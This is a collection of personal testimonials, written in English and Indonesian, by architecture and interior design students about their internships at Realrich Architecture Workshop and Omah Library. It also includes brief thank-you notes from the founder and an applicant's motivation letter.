Hello, I’m Devi, a 7th-semester architecture student from Multimedia Nusantara University, Tangerang. Just being a student and hearing my lecturers talk about working in architecture makes me wonder what it feels like to be in a real architecture field and what would be different from what I got at university. That is why, during my inter-semester break, I decided to apply for an internship at several architectural bureaus and RAW is one of them. RAW’s projects shown by Kak Rich in my several campus webinars amazed me with how the projects are different from others. It made me want to analyze and learn more about that in some of my assignments and become the reason why I chose RAW as my intern office.

But the thing is, I have no clue at all about the culture and how the people work in RAW since my seniors on campus never do internships or work there. So I asked Kak Gaby who is a former intern at RAW about that, looked for the information on Guha The Guild’s Instagram which showed that Kak Rich usually gathers the team and talks not just about architecture but also about life which interests me, and hoped it will be “The best office in the world”, just like what they say.

On the first day of entering Guha, I already know that I can learn a lot here just by looking at the unique doors it has. Then after meeting the team and starting to work here, I am more than convinced that this is indeed the best office in the world. The people here are so warm, humble, willing to share their knowledge about everything, and also patient when teaching us. I learn a lot about architecture in depth by understanding details that I didn’t get much before, communicating with a team, learning new architecture software which I’ve never used before, and making a design from scratch than making it real. Not only about architecture, but I also learned about a lot of aspects of life such as friendship, relationships, work, education, and many more by hearing people’s various interesting and funny stories. By this, for me, Guha feels like a second home where you can get the warmth from the people and get every information you need to face the wild world out there.

Four months here feels not enough to gain and learn all the knowledge that RAW’s team and the project have but I’m really grateful for having a chance to do an internship here, thank you to Kak Rich. I also want to thank Kak Rich for sharing many insights about architecture and advice on how to become a better person in every meeting, being humble, and appreciating every little thing. Thank you to all the team, Kak Pandu, Kak Riyan, Kak Timbul, Kak Tyo, Kak Al, Kak Rico, Kak Alim, Kak Haykal, Kak Gaby, Kak Putra, Kak Melisa, Kak Khafyd, Kak Kirana, Kak Audy, Kak Vyan, Kak Fina, Kak Sofi, Ci Mei, and Evan for every knowledge, stories, and time that you share with me. Also thank you to my intern friends, Manuel, Nanda, Damas, Zyadi, Ryan, Akmal, Janice, Jessica, Reji, Zikri, and Reva for accompanying me during my internship. It is such a blessing to get to know amazing people like you. I hope the best to RAW and every one of you in every journey of your life. I hope we can meet or work again together in the future.

Hello everyone! My name is Irviananda Adenia, but everyone calls me Nanda. I am a fourth year student from Universitas Pembangunan Jaya, Bintaro, South Tangerang. As an architecture student, I am always seeking opportunities and challenges that can improve myself more, so I tried to apply for an internship at Realrich Architecture Workshop for the past three months. I do believe that RAW Architecture can provide a supportive environment to experience what I have learned in college, and joining as an intern at RAW turned out beyond all my expectations.

I can say that the past 3 months, from 6th June – 26th August 2022, were totally an incredible moment in my life. The first time I entered Guha, the atmosphere was unreal. It feels like it gives me comfort, spirit, and warmth, but also clueless and full of fear inside mine. But, that feeling of confusion disappeared immediately when I met the whole RAW team who were very humble and welcomed me happily. In just a few seconds, I can already conclude that RAW studio is full of amazing and passionate people.

As an intern, I learned a lot about the architecture world, either focusing on design or building. All designers here transfer their knowledge and perspectives on almost everything, how to develop a building concept, expertise in operating software, solving a problem in many projects, coordinating and contributing with each other, making details for construction needs, and also a professional attitude as a worker. They also remind me that architecture is not only about buildings, but also about feelings, belief, passion, and the story behind it. Not only in the scope of architecture, but I also got to know various stories and experiences about life, work, college, and education, which makes me think more to take the next step to the important moments ahead.

Thank you, Kak Rich, not only for giving me the opportunity to process here but also for teaching me many things about the community that we need to know earlier. The stories behind his experience have made me think about the important steps I must take to continue my life and education, both inside and outside the world of architecture. Thank you to all designer team, Kak Timbul, Kak Pandu, Kak Alim, Kak Riyan, Kak Tyo, Kak Rico, Kak Haykal, Kak Putra, Teh Al, Kak Gaby, Kak Melisa, Kak Kirana, Kak Audy, Kak Vyan, Ci Mei, Kak Fina, Kak Sofi, and Kak Khafyd, for giving me an appreciation, affection, and wonderful mentorship experience. Thank you for always making me laugh and making me more grateful every day. My internship friends, Zyadi, Akmal, Ryan, Damas, Manuel, Devi, and Janice, it was really nice to know you guys. Thank you for being such great friends and helping me in almost everything in Guha. I also want to say thank you to Kakak-Kakah OMAH, Bibi, and other RAW teams, for being humble and friendly to me. Once again, my life as an intern at RAW was beyond all my expectations. With all the new project work, knowledge, people, experiences, laughter, and great memories, three months feels very short. Thank you, thank you. Hopefully, we can meet again in my other favorite chapter of life.

Hi there! My name is Damas Dwinito Pradipta, but you can call me Damas. Currently, I’m studying architecture at Institut Teknologi Bandung. By the time I write this letter, I’m in the 7th semester of my study. During the last semester break, I applied to many architectural firms to do an internship program. RAW is one of the firms I applied to. I chose RAW to be on my application list because I think that RAW could give me much knowledge and experience, especially about detail and technical things.

After a long wait, finally, RAW accepted my application and gave me a chance to be an intern there. Honestly, at first, I don’t feel that delighted being accepted here because it was my last internship option. But, over time, after doing an internship here, I take all my words back.
RAW fulfills all my expectations, even beyond. In Guha, how we usually called the office, I learned everything about architecture practice. Here, all the architects transfer all the knowledge sincerely. They thought me everything about architecture practice hand to hand. I learned how
to be good at designing, understanding details, and enhancing visualization skills. More importantly, They broaden my perspective on architecture. I realized architecture is not only about designing things to be aesthetic. It’s all about integrity between multi-discipline. A great architect is those who are not only good at designing, but as well as communicating, and collaborating with other.

At last, I would like to thank Kak Rich to allow me to be part of this wonderful team. Thank you for being such a humble and warm person. Thanks to all the seniors there for giving me a great mentorship experience. The intern there is, inadvertently, also lively and fun. I am so glad to have them as peers. For the past 2 months, for me, Guha is not my workplace. It is a place for nurturing. I feel grateful that RAW could be part of my professional journey. I wish you all the best things to happen in your life. I hope we could meet again someday!

Warm regards,
Damas Dwinito Pradipta

Halo! Perkenalkan, saya Ryan Dwi Priyambodo, mahasiswa tahun ke – 4 Universitas Sriwijaya. Memiliki kesempatan untuk kerja praktik di RAW merupakan pengalaman saya yang sangat berharga. Di hari pertama mengunjungi studio RAW, saya dan ketiga teman saya yang memang kebetulan berasal dari satu kampus, langsung disambut hangat oleh Realrich untuk diwawancarai mengenai latar belakang maupun alasan memilih RAW sebagai tempat magang. Realrich yang sempat menjadi pembicara materi di salah satu mata kuliah kampus saya dan juga tempat yang dikenal “bergengsi” dalam dunia arsitek pun menjadi salah satu alasan saya mengapa memilih tempat ini.

Di hari awal bekerja, sudah sangat terasa perbedaannya bagaimana menjadi seorang arsitek di dunia kampus dibandingkan dunia kerja aslinya, saya diajarkan betapa pentingnya ilmu komunikasi itu, dimana skill komunikasi adalah salah satu kekurangan yang saya sedang kembangkan di diri saya sendiri. Kak Andriyan atau kak Riyan, yang memang kebetulan memiliki nama panggilan yang sama dengan saya dan lucunya kami satu universitas yang sama juga, menjadi PIC saya dalam bekerja. Banyak hal yang saya pelajari kak Andriyan maupun kakak kakak yang bekerja di RAW, dari cara bagaimana mereka berkomunikasi, mengapresiasi maupun mengajari dalam hal bidang arsitektur. Tidak hanya dalam dunia pekerjaan, kakak di RAW juga sering mengajak saya untuk pergi ke wisata bangunan arsitektur di tiap minggunya, terutama dari kak Tyo yang memang memiliki hobby jalan jalan, hampir setiap minggunya memiliki ide tujuan ke tempat tertentu. Dari acara wisata ini, juga menjadikan pengalaman buat saya untuk mempelajari bagaimana bangunan arsitektur itu

Untuk kakak kakak yang telah mengajari saya banyak hal kak Rich, kak Andriyan, kak Timbul, kak Pandu, kak Tyo, kak Haykal, kak Melisa, kak Putra, kak Adzlin, kak Rico, kak Khafyd, kak Kirana, kak Audy, kak Fian, kak Mei Mei, kak Fina, kak Shofi, kak Lulu, kak Ufi, kak Gaby dan yang mungkin saya belum sebutkan, terima kasih telah membimbing dan mengajari saya banyak hal di RAW ini, serta teman magang saya, Akmal, Zyadi, Nanda, Damas, Devi, Manuel dan Janice yang telah menemani dan mengisi hari – hari saya di RAW.

Thank You everyone for welcoming me into RAW with a warm smile,
I hope to see you all again!

Hello, My name is Muhammad Zyadi. I’m a 7th-semester architecture student from Sriwijaya University. I’ve been lucky to get the chance and be part of the Realrich Architecture Workshop (RAW) as an intern. Being in RAW itself is a dream come true for me. I never thought that I would come to Guha as an intern.

I’ve been interested and always curious about architecture, from semester to semester I’ve always put my best to learn about architecture. For me, my ambition is what keeps me pushing myself. But that is where the wrong thought started to show up. That ambition created ego and it affected how I’ve been designing in architecture. All I knew was just I wanted this and that and how it can be applicable to the design even though it’s still based on analysis.

During my Internship at RAW, I learned that it’s not about me, It’s about us the architect, the client, and the site and building itself. It’s not about what I as the architect want but it’s about how we create harmony between the architect, the client, the site, and the building. All the decisions that we make will affect how the user will experience the architecture and that is crucial. RAW changed my perspective on architecture, it taught me to see wider and further but also closer at the same time. I learned a lot about design, construction and its details, visualization, the attitude to work as a team, and how to communicate our thoughts in design.

Besides architecture, I feel grateful to be able to experience my first-time “work” experience in such a harmonic supportive work environment. I never expected to get this experience in an internship. The warmest smile people have given to me since day one, the story and laugh we shared in the pantry, foyer, studio, internship room, or outside Guha with “Tyo Tour and Travel” was unforgettable. During the last few days, I tried to capture the moment as much as possible because I know the time will surely end and the moment can’t be repeated.

The first time I heard “Realrich Architecture Workshop ” the thing that appeared in my mind was that it’s just a great architecture Firm. But now, every time I hear “Realrich Architecture Workshop” every beautiful moment with all the people there is a glimpse in a split second in my mind. RAW isn’t just a great architecture firm but also a place where I learned a lot of things about architecture, a place where I met a lot of people with beautiful souls and their own character, and a place where I feel joy and endless excitement to learn about architecture and interact with the people there. RAW with Guha as its office is a beautiful place but what is inside is way more beautiful. 

Thank you kak Rich for the opportunity and mentorship, thank you to everyone inside the studio, and omah for everything, I’m not sure that every single one of you constantly interacted with me but one thing I can be sure of is all of you are written in one of my favorite chapters of my life. Wishing you the best everywhere you go, you guys deserve good things in life.

Warmest regards,
Muhammad Zyadi

Hi everyone, my name is Muhammad Akmal, as of writing this I am a 21 years old uni student riding along life with a huge passion for architecture. The passion which I’ve been brewing since the first time I heard the term ‘architect’ when I was little. But speaking honestly here, for the most part, I was blind and basically second-guessing the meaning behind the term, I find myself chasing the title more than what’s being held by it. Realizing the problem, I had always tried to put myself in a different environment from time to time. this time I reached out to Realrich Architecture Workshop for an internship program and was fortunate enough to be accepted.

Throughout the short time I was there I was able to learn so much more than I could tell, for the first time I was taught to put more meaning behind architecture, to realize that architecture is a journey of my own, and to cherish every step I took along the way. The experience I had as an intern in RAW make me think more critically about the environment and people around me and foremost about myself and my daily life. RAW taught me the ability to see architecture in the most detailed way and as wide as I could at the same time, to consider any and everything that my mind can reach.

Throughout my time as an intern in RAW, my passion for architecture grows even more, and my thirst for knowledge along with it. I am very grateful to Kak Rich for giving me this opportunity and to teach me a lot of things about architecture, be it design, development, and also philosophical matters. And also, I would like to thank all my seniors there for taking the time out of their packed schedules to teach me about all sorts of things from architecture and software to other important things such as life lessons. Lastly, to my new RAW architecture family, I wish you the best of the best.

Best Regards,
Muhammad Akmal

Proses saya mengenal Omah Library mungkin tidak berbeda dengan kebanyakan manusia lain, melalui kelas, buku, dan perpustakaan uniknya. Saya pikir mengetahui eksistensinya sudah cukup bagi saya, ternyata satu situasi di akhir masa studi membuat saya memiliki cerita dengan Omah Library. Memutuskan untuk mengerjakan tugas akhir saya dengan bermagang di Omah Library cukup menjadi tantangan bagi saya, mahasiswa Desain Interior dari institusi seni yang jauh dari tempat ini. Riset, menulis, dan berpikir kritis bukan hal biasa bagi generasi saya. Namun entah, saya menikmati momen ketika menulis jurnal untuk tugas mingguan selama studi. Saya mengunjungi beberapa karya desain interior dan arsitektur yang jauh hanya untuk merasakan pengalaman seutuhnya, dan ingat ini untuk jurnal mingguan yang biasa. Mendapat keleluasaan untuk memutuskan memilih tempat bermagang, saya memberi kesempatan kepada diri saya sendiri untuk mencoba yang sudah saya ketahui tapi tidak pernah mendalaminya. Mengirimkan surat lamaran magang dan menunggu adalah perasaan terburuk tapi menyenangkan bagi saya. Mendapat kabar baik dan bisa segera memulai magang di Omah Library rasanya kabar terbaik pada saat itu.

17 minggu tepatnya saya di Omah Library. Pada beberapa minggu pertama cukup membuat saya bingung, mengerjakan hal yang pernah saya kerjakan namun dengan sudut yang berbeda. Terbiasa mengikuti ‘aturan’ dan diajak untuk lebih berekspresi. ‘Beyond’ kata kunci yang selalu saya gumamkan ketika tulisan saya ‘mentok’ dan menulis menjadi hal yang sempat saya takutkan. Namun beberapa waktu ini, ketika saya mulai beradaptasi dengan pola ‘bersenang-senang’ Omah Library dan bagaimana setiap manusia berperan di dalamnya, sangat membantu saya dalam menempatkan diri. Bertemu dengan Eric Dinardi, satu fotografer arsitektur yang saya sukai karyanya, mewawancarai para arsitek mumpuni yang saya bahkan tidak
bermimpi untuk dapat berbicara dengan Pak Gunawan Tjahjono, Pak Danang Priatmodjo, Yonav Partana, Patrisius Marvin, Bu Nelly dan Pak Deddy dari LABO. Dibandingkan dengan saya pada hari pertama ketika di Omah Library, saat ini tentu sangat berbeda. Saya hanya menikmati proses ‘bersenang-senang’ disini, bagaimana hal kecil dan biasa selalu dianggap dari satu hal yang besar. Bagaimana setiap ide dieksekusi bersama tanpa ekspektasi yang membebani, hanya ‘bersenang-senang’.

Terima kasih Omah Library untuk waktu dan ceritanya, untuk Kak Rich, Kak Ufi, Kak Nirma, Kak Lulu, Kak Farhan, Aul, dan Maria rekan magang meski hanya sebulan.

Best Regards,
Aryo Phramudhito

Perkenalkan nama saya Evanjelicel Tamio Dimpudus, mahasiswa tahun keempat arsitektur Universitas Pelita Harapan. Secara pribadi saya kagum dan sudah mempelajari beberapa karya RAW baik melalui buku, publikasi online dan juga sosial media, terlebih ketika saya mengunjungi dan menikmati secara langsung The Guild dan sekolah Alfa Omega. Bagi saya belajar aritektur adalah tentang rasa penasaran dan pertanyaan; tentu ini sangat menyenangkan dan menantang, namun sudah saatnya tantangan itu tidak datang lagi dari sesuatu yang bersifat fiktif seperti soal di studio. Pemikiran ini muncul karena saya merasa sangat tidak memahami dunia arsitektur ketika bekerja dilapangan secara langsung. Saya sudah mengerjakan beberapa proyek terbangun, seperti rumah dan instalasi, namun saya merasa masih kurang profesional dalam menangani proyek-proyek tersebut. Disitu saya sadar bahwa arsitektur perlu dipelajari dari ahlinya; saya ingin mendapat tempat dan mentor yang tepat untuk meningkatkan kualitas dan profesionalitas diri serta arsitektur yang akan saya bangun kedepannya dan RAW Architecture adalah komunitas yang tepat untuk semua itu.”

“RAW Architecture terasa seperti sekolah bagi saya.
Saya rasa kesempatan belajar di RAW adalah pengalaman sensasional yang menunjang masa depan saya dalam berarsitektur. RAW itu cair bagaikan air; “You must be shapeless, formless, like water. When you pour water in a cup, it becomes the cup. When you pour water in a bottle, it becomes the bottle. When you pour water in a teapot, it becomes the teapot. Water can drip and it can crash. Become like water my friend.” Begitu kata Bruce Lee. Bersama RAW selama 3 bulan saya merasa seperti berada di komunitas rohani, merasa berada di warung kopi, merasa berada di acara keluarga, merasa berada di lingkungan akademisi bahkan merasa berada di acara stand up comedy (dan masih banyak universe RAW yang belum terjelajahi). Sebuah komunitas yang cair dan kaya akan pengalaman, pelajaran dan kebersamaan. Tak lupa komunitas ini juga sangat terbuka bagi lingkungan sekitar; sore bisa bermain bersama anak-anak,dan jajan es juga telur gulung di dekat ring basket.Tak hanya manusianya, arsitektur Guha The Guild pun memberikan kenyamanan bagi lingkungan sekitar dengan micro climatenya.

Dear kak Realrich Sjarief, seorang yang jatuh cinta kepada arsitektur, seorang yang bahkan tujuan hidupnya adalah arsitektur, pertama-tama terimakasih. Saya sempat tepuk jidat dan mikir “Segitunya ya buat arsitektur”. Dan Ketika berpikir lagi sebenarnya jika saya adalah seorang arsitek, saya harus memiliki mindset seperti ini. Kak Rich juga sangat senang berbagi, dan Ketika weekly meeting di hari senin yang paling saya tunggu sebenarnya adalah sharing dari kak Rich. Saya sangat bersyukur pernah dibimbing oleh kak Rich.

Untuk kakak-kakak yang sudah menjadi mentor saya terutama Kopan (kak Pandu), kak Riyan dan kak Timbul, terimakasih atas rangkulan dan ilmu yang hangat. Kak Khafyd dan kak rico yang jadi temen ngobrol. Kak Tyo, bang Putra, kak Melisa, kak Adzlin, kak Vvyan, kak Mei, kak Fina, Sofi, bang Haykal, kak Kirana, kak Vivi,dan kak Satria juga mewarnai keadaan studio dan pengalaman saya bersama RAW terimakasih. Tentu tak lupa 2 manusia dari Petra yakni Gabi dan Angel sebagai magangers RAW kalian fantastis!. Juga kepada teman-teman dari OMAH tulisan kalian dapat merubah arsitektur Indonesia.

Akhir kata, bagi kon kawan yang membaca tulisan ini, orang-orang yang aku sebutin dan kagumi di atas adalah orang-orang yang sangat hebat. Sangat senang berada di sini dan menantikan apa yang akan RAW bawa ke dunia.

Best Regards,
Evanjelicel Tamio Dimpudus

Memiliki kesempatan untuk bekerja praktik di OMAH LIBRARY merupakan pengalaman yang sangat berharga, walau memang saya pun belum tahu pasti dan tidak dapat membandingkan dengan tempat-tempat lainnya, tetapi apa yang telah saya rasakan, keuntungan dan kelebihan yang didapat, hingga dapat menyadarkan saya atas kelemahan yang saya miliki lebih dari cukup untuk mengatakan ini adalah pengalaman berharga. Atmosfer kekeluargaan yang kuat, keceriaan, aura positif memberikan sebuah rumah yang harmonis. Membuat saya teringat sebuah perusahaan yang hampir bangkrut, alih alih merumahkan pekerjanya, malah membuat sistem cuti untuk dapat mempertahankan pekerjanya. Mengandalkan kekeluargaan dan saling toleran tidak disangka keuntungan yang didapat melampaui perkiraan bahkan lebih dari jika merumahkan pekerja. Mungkin sedikit lancang jika dalam 4 bulan menyimpulkan hal ini tapi saya hanya tidak bisa berhenti kagum dengan pengalaman di OMAH LIBRARY ini. Awal saya masuk sudah mendapat sambutan hangat, saya ingat tugas pertama saya manuskrip wawancara arsitek untuk buku arsitektur partisipatoris untuk mahasiswa. Belajar mengenal arsitektur dari sudut pandang seorang arsitek profesional membuat tamparan atas saya yang merasa beban sks studio yang besar sedang tidak ada apa-apanya dengan kenyataan yang terjadi di lapangan. Menyadarkan saya betapa banyak yang harus dikejar untuk menjadi seorang arsitek. Namun tidak hanya tamparan, cerita itu juga sebagai kawan, karena apa yang saya rasakan itu adalah masa yang telah beliau-beliau lalui dan menenangkan karena ini memang hal yang wajar dirasakan mahasiswa arsitektur. Ini adalah salah satu pengalaman yang sangat berharga, seperti mendapat bocoran dari cenayang secara cuma-cuma. Selanjutnya adalah tugas-tugas yang membutuhkan ide liar. Menemukan poin, mengembangkannya, membungkusnya dalam wajah yang berbeda tetapi tidak kehilangan poin itu. Substansi, substansi, substansi. Pengalaman ini bagaikan perlombaan lari tanpa kaki bagi saya. Dipaksa menyerah dengan keadaan. Tapi tidak lama para pelari lainnya dan berbalik menopang saya dan kita berlari bersama menuju garis finish. Ya, pelari yang berbalik tidak lain adalah kakak-kakak mentor serta teman-teman seperjuangan. Walaupun sebenarnya mereka juga berada dalam kesulitan dan tekanan yang lebih besar. Pengalaman akhir di OMAH LIBRARY, menata perpustakaan baru, mengatur buku-buku yang banyak dan mengurutkannya satu persatu. Pengalaman yang sangat lucu dan sangat berbeda karena ini satu-satunya pekerjaan yang terlepas dari duduk dan mencari inspirasi. Komunikasi dan koordinasi sangat penting, terutama kepercayaan pada rekan satu tim. Saya ucapkan terima kasih sebesar-besarnya atas pengalaman yang diberikan baik yang tertulis maupun tidak, semuanya tetap menjadi pelajaran, bekal masa depan saya. Digembleng untuk tidak melek walang, membuka indera yang sudah lama tertidur.

24-05-2022

Dear Aulia, Maria

Thank you for everything your passion, your soul, and have cherished OMAH Library + people inside, hopefully, this sunshine will go brighter to shine on Architecture Literacy.

You guys one word is a fight for and be the one who can contribute to the appreciation of great Indonesia Architecture.

Regrads
Realrich Sjarief

Mat pagi kak!””, ucapan wajib saya, Maria, memasuki Perpus Omah menyapa umi-umi Omah Library. Akhir semester 7, saya sempat bingung ingin mengajukan magang, selain karena saya mengulang Studio 6, saya juga meragukan apakah saya mencintai arsitektur, dan apakah saya bisa mengerjakannya. Beruntung dosen pembimbing mengizinkan saya untuk magang dibidang penulisan arsitektur.

Selanjutnya adalah . . . cari tempat magang di mana? Waktu semakin mepet, saya baru mengirim surat lamaran magang terakhir tanggal 30 Desember 2021, dan sepertinya sudah tidak ada harapan untuk mendapat tempat magang. 2 Januari 2022 malam Kak Yudith menghubungi saya dan menawarkan apakah bisa mulai magang di Omah besok. Ini kesempatan yang jelas tidak saya tolak.

Lalu, muncul lagi pertanyaan, apakah bekerja di perpus akan sekaku itu? Satu bulan awal magang, saya masih menyesuikan diri saya dengan pekerjaan magang dan menyesuaikan dengan lingkungan Guha. Ternyata seru juga, selain ngetik-ngetik, ada pekerjaan lain seperti sketsa atau buat ilustrasi dan jalan-jalan (ke Otten Coffee dan Piyandeling Bandung). Melihat detail bambunya Piyandeling yang disusun satu-satu keren banget, para bapak pengrajinnya niat sekali mengerjakannya, berasa dikerjakan dengan hati.

Setelah 4 bulan magang, banyak pembelajaran dari Kak Rich dan kakak-kakak Omah mengenai penulisan, ilustrasi, serta berbagi pengalaman arsitektur dan kehidupan melalui wawancara. Sisi lain yang tidak hanya sekedar pekerjaan, tapi bagaimana kita bisa berkontribusi untuk orang banyak.

Sebagai penutup, saya ingin mengucapkan terima kasih kepada -Kak Rich dan Kak Yudith yang telah menerima maria magang di Omah Library, -Kak Nirma, Kak Ufi, Kak Luluk, dan Kak Farhan yang sudah menjadi mentor dan membimbing maria untuk mengembangan potensi yang ada, *maaf juga maria sering main jadi kadang kurang fokus :)) -Kakak-kakak di RAW dan Admin yang sering becanda saat jam makan, terima kasih sudah menerima maria dengan baik -dan teman-teman magang pejuang TA: Aulia, Aryo, Gaby, Angel, dan Evan, suatu kolaborasi yag keren antara penulisan dan desain di studio arsitektur.

Tetaplah bahagia, :) Salam, M.A.R “

24-05-2022

Dear Aulia, Maria

Thank you for everything your passion, your soul, and have cherished OMAH Library + people inside, hopefully, this sunshine will go brighter to shine on Architecture Literacy.

You guys one word is a fight for and be the one who can contribute to the appreciation of great Indonesia Architecture.

Regrads
Realrich Sjarief

I’m Angel, a fellow learner and explorer who’s also currently studying architecture in Petra Christian University Surabaya. Was born and raised in Surabaya for 21 years. In my last year as an undergraduate student, I’ve decided to do an internship program in RAW to expand my exploration, get new experiences as well as new perspectives towards architecture and life.

The 24th of November, 2021 is the day RAW offered me a chance to do the internship program which I had applied 3 months before. I still remember the feeling of waiting and how excited I got when Kak Yudith contacted and offered me the internship program. To be honest, the journey to get to that day wasn’t easy, and I guess that’s what makes that day so special. Through this letter, I would like to express my gratitude towards the RAW family, especially Kak Rich and Kak Yudith, for giving me a chance to learn, meet, and work with amazing people in RAW Studio.

These past 4 months, RAW hadn’t only become my workplace but also my home. To work in RAW, I had to leave Surabaya, the place where I grew up and live for 21 years. Surabaya was my comfort zone, but I am glad that I had decided to step out of it, even for only a few months. Within 4 months in RAW, I had learnt and gained a lot of knowledge and experiences which gave me a whole new perspective towards architecture, world, and even life. I had learnt new things that can only be obtained through the field experience. I learnt that architecture, details, construction, craftsmanship, and communication are inseparable. But, the thing I am most grateful for is that I was never alone. Going through this big change and process of knowing architecture, myself, and life, I was lucky enough to experience it with the best people in the world:)

RAW has taught me that architecture is also about being part of a community and family. I believe that to create amazing architecture, it also takes amazing teamwork and community. During my internship, every once in a while, Kak Rich brought up this question about “what is our purpose in life?”. This got me thinking, “what do I want in life?”, “where am I heading to?”, “is architecture part of my purpose in life?”. I have been trying to find the answer to these questions, until this one moment.

I remember when my mentor had to leave and continue her own journey outside RAW. Kak Rich had mentioned that she had “touched” everyone with her presence and her relationship with others. At that moment, I thought, how beautiful it is? If one is able to touch someone with their presence. That thought had made me reflect on myself. I guess for now I decided that my purpose is to be able to touch people with everything that I do, whether through my works in architecture, or even through my actions towards others.

Therefore, I am also thankful to Kak Rich, for bringing up questions that we were all afraid to ask ourselves. 4 months had passed so quickly. For all the knowledge, experience, wisdom, laughter and memories, I thank everyone. No words can’t describe how grateful I am to spend the last 4 months in this new home. Thank You Kak Rich for being such a humble person and for creating a supportive environment in RAW, Thank You everyone for welcoming me into RAW with a warm smile, I hope to see you all again!

Best Regards,

Angel Gabriella Kusuma

Firstly, I really want to take a part and give my best strength to the amazing team and architecture that RAW’s built. Personally I am amazed and have studied some of RAW’s works through books, online publications and social media, especially when I visited and directly enjoyed The Guild and Alfa Omega schools. For me, studying architecture is about curiosity and questions, of course this is very fun and challenging, but it’s time for that challenge to no longer come from something fictitious like a problem in the studio. This thought arose because I felt that I really did not understand the world of architecture when working in the field directly. from there I realized that architecture must be learned from it’s experts; I want to get the right place and mentor to improve the quality and professionalism of myself and the architecture that I will build in the future. And I believe that RAW architecture will give me just that and more experiences that I never expected before.

Eubisius Vercelli Ocvanto Kuncoro Seorang anak kecil yang terlahir dari Arsitektur Universitas Pelita Harapan 2021 yang suka dipanggil dengan sebutan Ubi. Keinginannya untuk menjadi seorang pemenang Pritzker Prize, sebuah nobel penghargaan dibidang arsitektur atas karyanya terhadap kemanusiaan, bukan untuk pamor penghargaannya melainkan untuk menjadi motivasi membuat karya yang bisa berdampak bagi kemanusiaan dan lingkungan sekitarnya. Ubi terus berkelana untuk mencari tahu kontribusi seperti apa yang bisa dia berikan untuk dunia arsitektur dan perjalanannya terus berlanjut saat Ubi mulai menemukan ketertarikannya terhadap arsitektur tanah. Ketertarikannya tersebut membawa Ubi memulai pembelajarannya lebih lanjut ke Jatiwangi Art Factory 2019, Workshop Dome di Auroville Institute di India 2020 , kerja sosial membangun Museum Wakare sebagai salah satu objek arsitektural di Kawasan Kota Terakota Jatiwangi pada tahun 2020 , membawa topik arsitektur tanah sebagai topik dari tugas akhir dia sebagai mahasiswa arsitektur , serta melakukan riset dan eksplorasi berkelanjutan untuk bisa melakukan perkembangan material tanah di Indonesia maupun dunia.Ketertarikan Ubi terus menerus bertambah seiring berjalannya waktu dengan menemukan Instalasi dan Tarian Seni, Filosofi, Sejarah, dan Arsitektur Hijau. Oleh karena keinginannya yang kuat, saat ini Ubi yang masih merupakan seorang anak kecil didunia arsitektur, memilih untuk belajar bagaimana kehidupan di dunia arsitektur dengan bergabung sebagai anak magang di RAW Architecture yang dimiliki oleh Pak Rich yang merupakan salah satu dari 3 role model Ubi di dunia arsitektur. Ubi berharap dapat melatih kemampuannya sebagai seorang arsitek yang mumpuni dalam segi pemikiran,perasaan, teknikal, sosial, dan ekonomi sehingga di setiap detik ia melangkah ia bisa berdampak bagi sekitarnya.

Testimonial

Jujur ini merupakan salah satu checkpoint atau impian saya saat saya kuliah dan saya merasa terberkati bisa bergabung di keluarga RAW Architecture, meskipun saya cuma sebagai anak magang disini. Disini saya merasa bagaimana kita harus terus mau belajar dan mengembangkan diri untuk jadi pribadi yang lebih baik dan bisa bermanfaat bagi sekitar. Saya melihat, mengamati, dan ikut merasakan bagaimana kehidupan di RAW Architecture terjadi. Meskipun baru satu bulan saya merasakan bersyukur dan bahagia bisa bergabung di keluarga ini.

Surat Motivasi

Yang terhormat dan terkasih, Pak Realrich dan Keluarga RAW Architecture. Saya dan kita sebagai manusia semuanya diciptakan dari nol, sesuatu yang paling dasar. Kita harus belajar, bergerak dan melakukan sesuatu berulang-ulang hingga suatu saat nanti kita ahli dalam hal yang sudah kita pelajari. Dunia arsitektur pun begitu. Kita harus belajar, bergerak, mencobanya berulang-ulang hingga suatu saat kita menjadi ahli. Semua hal harus kita lakukan sedemikian rupa,
belajar, bergerak, dan melakukannya berulang kali dalam suatu aspek yang sedang kita geluti. Tidak ada yang berbeda dari setiap aspek, awal dan akhir tujuannya sama, yaitu untuk menjadi ahli. Tetapi yang berbeda ialah bagian antara awal dan ahli, yaitu proses.

Dan untuk itu perkenalkan, saya Eubisius Vercelli Ocvanto Kuncoro, seorang sarjana lulusan arsitektur Pelita Harapan 2021 yang juga merupakan seorang anak kecil yang baru hanya dibalut dengan kain yang bertuliskan “mahasiswa arsitektur” selama 4 tahun. Seorang anak kecil yang belum sepenuhnya mengetahui dunia arsitektur dan mau terus berproses didalamnya. Seorang anak kecil yang memiliki mimpi dan keinginan besar untuk menjadi pemenang Pritzker Prize, bukan
untuk ketenaran dan penghargaannya tetapi untuk menjadi motivasi untuk terus berkarya dan berdampak bagi manusia disekitarnya.
Sejujurnya pertama kali setelah menerima kabar bahwa diri saya lulus dari Arsitektur UPH, pertanyaan yang terbesit setelahnya adalah “abis ini mau ngapain ya?” tentunya pastinya berbahagia karena lulus, tpi bukan itu. Lebih kepada checkpoint apalagi yang akan saya tuju berikutnya. Akhirnya checkpoint selanjutnya ialah untuk mencari kerja. Diawal menentukan mau kerja dimana saya bingung akan kerja dulu atau magang terlebih dahulu karena saya belum pernah bergabung dalam suatu firma arsitektur. Setelah saya berpikir , berpikir, tertidur, berpikir lagi akhirnya terbesit dalam pikiran saya untuk hal pertama yang saya cari ialah mentor. Sepertinya arketipe yang disampaikan oleh Carl Jung mengenai Wise Old Man, orang tua yang bijaksana dari situ saya melihat bahwa penting bagi saya, seorang anak kecil yang masih mencari kebenaran di dunia arsitektur untuk menemukan seorang “Wise Old Man” bukan untuk menentukan kebenaran saya, tapi untuk membantu saya berkembang dan belajar bertumbuh dalam dunia arsitektur. Oleh karena itu saya melihat sosok Pak Rich.

